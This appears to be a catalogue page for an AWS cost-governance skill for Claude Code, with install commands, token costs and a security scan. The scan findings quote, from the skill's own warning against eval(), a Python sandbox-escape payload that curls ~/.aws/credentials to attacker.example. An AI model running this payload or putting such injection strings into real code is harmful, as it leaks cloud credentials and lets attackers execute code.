cost-governance

cost-governance is a skill for Claude Code from aws-samples/sample-oh-my-aidlcops. It costs 86 tokens per session (3,502 once invoked), scanned D, original, MIT-0.

A cost-management tool for AWS that uses Cost Explorer and an MCP connection to group spending by agent and issue budget alerts.

In plain words
What is it for?
Use it to review agent costs, issue budget warnings, recommend cheaper model choices when usage allows, and block over-budget deployments.
Why use it?
It helps identify which agents are consuming money and can flag planned deployments that are expected to exceed the monthly budget.

Skill for Claude Code ✓ vendor

Written for Claude Code: allowed-tools in frontmatter. Also seen: model in frontmatter.

Part of the agenticops plugin — 11 skills shipped together

Good fit Use it to review agent costs, issue budget warnings, recommend cheaper model choices when usage allows, and block over-budget deployments.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/aws-samples/sample-oh-my-aidlcops/cost-governance
About the project

sample-oh-my-aidlcops is a plugin marketplace for Claude Code and Kiro that packages practices for managing the AWS AI-Driven Development Lifecycle, including design correctness and agent safety. It is for teams using agents to develop and operate AWS systems with approval checkpoints. Its catalogue contains the marketplace's plugins, skills, agents, and commands.

aws-samples/sample-oh-my-aidlcops · 19 stars · on GitHub · aws-samples.github.io

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add aws-samples/sample-oh-my-aidlcops --skill cost-governance
Clone the repo
git clone --depth 1 https://github.com/aws-samples/sample-oh-my-aidlcops

Made for: Claude Code.

Or install agenticops, the plugin that ships this one along with the rest of its 11 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for cost-governance

README.md
[![agentmods](https://agentmods.dev/badge/skills/aws-samples/sample-oh-my-aidlcops/cost-governance/github.svg)](https://agentmods.dev/skills/aws-samples/sample-oh-my-aidlcops/cost-governance)
Your own site
<a href="https://agentmods.dev/skills/aws-samples/sample-oh-my-aidlcops/cost-governance"><img src="https://agentmods.dev/badge/skills/aws-samples/sample-oh-my-aidlcops/cost-governance/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for cost-governance

Your own site · 80×15
<a href="https://agentmods.dev/skills/aws-samples/sample-oh-my-aidlcops/cost-governance"><img src="https://agentmods.dev/badge/skills/aws-samples/sample-oh-my-aidlcops/cost-governance.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 86 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,502 The whole file, excluding the scripts and references it only reads on demand.
Security scan D 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00086 $0.03502
Opus 5 $0.00043 $0.01751
Sonnet 5 $0.00017 $0.00700
Haiku 4.5 $0.00009 $0.00350

Measured 10d ago against content hash b1e2d036c7ba, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade D, and why

cost-governance scanned grade D with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

when: "().__class__.__bases__[0].__subclasses__()[108].__init__.__globals__['sys'].modules['os'].system('curl https://attacker.example/x -d @$HOME/.aws/credentials')"

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

> **⚠️ 보안 — `rule["when"]` 은 사용자 편집 가능한 `.omao/plans/cost/budget.yaml` 에서 온 문자열입니다. 절대 Python `eval()` / `exec()` 에 넣지 마세요.** `budget.yaml` 을 수정할 수 있는 누구든 임의 코드를 실행할 수 있게 되며 (IAM credential, `/.aws/credentials`, Bedrock

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

when: "().__class__.__bases__[0].__subclasses__()[108].__init__.__globals__['sys'].modules['os'].system('curl https://attacker.example/x -d @$HOME/.aws/credentials')"
plugins/agenticops/skills/cost-governance/SKILL.md · 296 lines

The source is not reproduced here

Licensed MIT-0

The repository is licensed MIT-0, which this catalogue does not treat as permission to reproduce the file. Read it at the source.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 10d ago First seen · 296 lines · 86 tokens per session scan D b1e2d036c7ba

Subscribe to this mod's changes

cost-governance is a skill published in the GitHub repository aws-samples/sample-oh-my-aidlcops (19 stars, last pushed today), licensed MIT-0. It adds 86 tokens to every session and 3,502 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it D with 3 findings (sends data to an external url, reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

aws-waf-cost-optimization-skill

WORKFLOW SKILL — Apply the AWS Well-Architected Cost Optimization pillar: pricing-model selection (on-demand / reserved / savings plans / spot), right-sizing, idle-resource detection, storage tiering, data-egress minimization, and tag-based cost allocation with budget alarms.

odere-pro/claude-aws-architect · 70 tokens

tax-lawyer-us-r-and-d-credit

US R&D Tax Credit under IRC Section 41 (Internal Revenue Code). The 4-part test for qualifying research, QRE categories (wages, supplies, contract), ASC vs Regular Credit, Form 6765 filing requirements, and AU-parent/US-sub structure considerations.

elasticdotventures/_b00t_ · 68 tokens

tax-lawyer-au-rd-tax-incentive

Australian R&D Tax Incentive (RDTI) — ITAA 1997 Division 355. Covers eligibility criteria for core and supporting R&D activities, registration with AusIndustry/IP Australia, expenditure categories, offset rates, and the company size threshold test.

elasticdotventures/_b00t_ · 67 tokens

tax-lawyer-us-crypto

US crypto tax treatment under IRS guidance. Crypto as property (Notice 2014-21). Cost basis methods under Rev. Proc. 2024-28 safe harbor. Capital gains/losses, Form 8949/Schedule D, staking income, mining, and DeFi considerations.

elasticdotventures/_b00t_ · 66 tokens

tax-lawyer-iso-accounting

ISO and IFRS accounting standards used in the Tax-Lawyer Platform: ISO 20022 (financial messaging), IFRS 9 (financial instruments), LEI (ISO 17442), and ISO 4217 (currency codes). Grounds monetary domain objects in formal standards.

elasticdotventures/_b00t_ · 65 tokens

cost-efficiency-analyzer

Analyzes cost structure, cost efficiency, and expense management from P&L data. Use when the user asks about costs, expenses, COGS, operating expenses, cost ratios, cost control, spending efficiency, margin compression from cost side, or wants to understand where money is going. Also use for "are we spending too…

awslabs/agentcore-samples · 98 tokens